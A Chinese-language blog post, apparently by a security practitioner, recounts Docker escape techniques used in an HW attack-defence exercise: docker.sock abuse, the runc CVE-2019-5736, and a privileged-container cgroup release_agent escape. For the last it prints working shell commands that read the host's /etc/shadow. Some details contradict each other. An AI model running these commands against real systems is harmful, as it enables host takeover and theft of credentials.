本文目录导读:
Docker逃逸实战笔记——HW行动中让我后背发凉的三个漏洞
哎,兄弟们,最近刚忙完一轮HW(护网)行动,整个人跟散了架似的,但今儿必须得坐下来,把前几天在项目里遇到的事儿跟你们唠唠。Docker逃逸,这四个字在平时听起来就是个高大上的名词,真到了HW攻防演练那种真刀真枪的环境下,那真是会要了老命的啊!今天咱们就着实战经验,聊聊我在HW行动里踩过的坑,以及那些让我瞬间清醒的Docker逃逸姿势。全文干货,带情绪,别走神!
先说个让我汗毛竖起来的场景吧
那天下午,红队兄弟给了一个普通WebShell,权限低得可怜,nobody用户,啥也干不了,我寻思着这货在Docker容器里,常规提权路子全被封死了,常规的脏牛、内核漏洞也试了,没戏,可是哇,突然我瞄了一眼挂载信息,好家伙!/var/run/docker.sock 竟然被挂载进了容器里!那一瞬间,我脑子就“嗡”了一下,这不就是Docker逃逸的完美开场白吗?各位,这可不是演习,这是真刀真枪的HW啊!有了这个socket,Docker逃逸就跟喝水一样简单,我直接提取了宿主机上的镜像,跑了一个特权容器,瞬间拿到了宿主机root权限,那一整套操作做下来,我手都在抖,真的,不夸张,这事儿要是被防守方发现,半年的奶茶怕是都赔不起。
说真的,HW行动里,docker.sock挂载这种低级错误越来越少,但一旦碰上,那就是白送的分,要是你以为Docker逃逸就这么点路子,那可就太天真了,咱们见识过的,还有更阴的。
CVE-2019-5736,老掉牙但致命
HW期间,最怕遇到的就是那种“老系统”,有台业务服务器,跑的是Nginx,容器版本是2019年初的,诶,我一测,CVE-2019-5736(runc漏洞)能打!这个漏洞的原理就是修改runc二进制,从而实现Docker逃逸,当时我利用的是通过写入/bin/sh的恶意payload,当容器内执行命令时,触发execve,然后直接覆盖宿主机的runc文件。
你们知道那种“心快跳到嗓子眼”的感觉吗?当那个恶意二进制被触发,我看到了宿主机的反弹Shell,真的是长舒一口气!在HW里,老旧组件就是最肥的肉,防守方往往盯着新漏洞,这些老古董反而是漏网之鱼。 咱们搞安全的,平时真得养成“看CVE公告跟追剧一样”的习惯,指不定哪个旧CVE就能在比赛里救你一命。
特权模式的“潘多拉魔盒”
还有一种情况,是真的需要点运气,就是那种非特权容器,但运行了--privileged参数,一进去,哎,capsh --print一看,当前有SYS_ADMIN权限,哎呀我的老哥,这不明摆着给机会吗?咱们只需要简单的两行命令:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $host_path/pwned" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
当时一边敲这些命令,一边跟旁边队友开玩笑说:“这要是被监控到,咱俩就得打包回老家了。” 没想到啊,真的成功了!利用cgroup的release_agent机制完成Docker逃逸,你说这算不算剑走偏锋?但真的,HW比拼的就是耐心和细腻,一个--privileged参数,直接葬送了整个内网。
唠点掏心窝子的
说真的,咱们在准备HW考试或者实战的时候,不要只知道按着工具一把梭,Docker逃逸这部分,技术核心就那么几个:Docker Socket挂载、CVE漏洞利用、特权容器滥用、内核漏洞脏牛等等,但真正落地的时候,环境差异能折腾死你,比如内核版本不对,漏洞利用不成功;比如容器里有安全软件,过不了检测;再比如网络隔离了,出不了网,这时候,就特别考验咱们的临场反应。
而且啊,兄弟们,HW行动拼的是心态,你越急,越容易漏掉细节,哎呀,我上次就是因为急,忘记看AppArmor配置,结果卡了一个下午,最后还是靠咱们比较经典的unshare命令绕过去的,这教训,你们拿去用。
关于HW考试的碎碎念
很多朋友私信问我,HW行动到底要学什么,我觉着吧,Docker逃逸只是蓝队防守的一小块拼图,但你要在HW里拿高分,你至少得懂主机入侵检测、流量分析、日志审计、应急响应,这些都得熟,不然你连红队杀了你多少次都不知道,那不白给吗?
当然啦,如果你也想入行网络安全,或者正在准备HW行动,咱们可以加QQ群聊:231986285,备注“博客来的” ,一起交流攻防技巧,共享HW情报,兄弟我在这儿等着你们!
结个尾吧
最后再念叨一句,Docker逃逸这个技术,说白了就是“细节决定成败”。你对于挂载点、内核模块、Capabilities的关注程度,直接决定了你能不能从容器里爬出来。 HW行动固然紧张,但保持冷静、按部就班地测试每一个边界,总会找到突破口的,就像我这几次经历,每个案例背后都是血泪教训,咱们干安全的,不求别的,只求每场演练都能多守几分钟,每份报告都能写得更深入一点。

行了,今天就跟大家聊到这儿,我得去补觉了,最近实在是太累了,别忘了加QQ啊,咱们下篇见!祝各位HW旗开得胜,杀他个片甲不留!

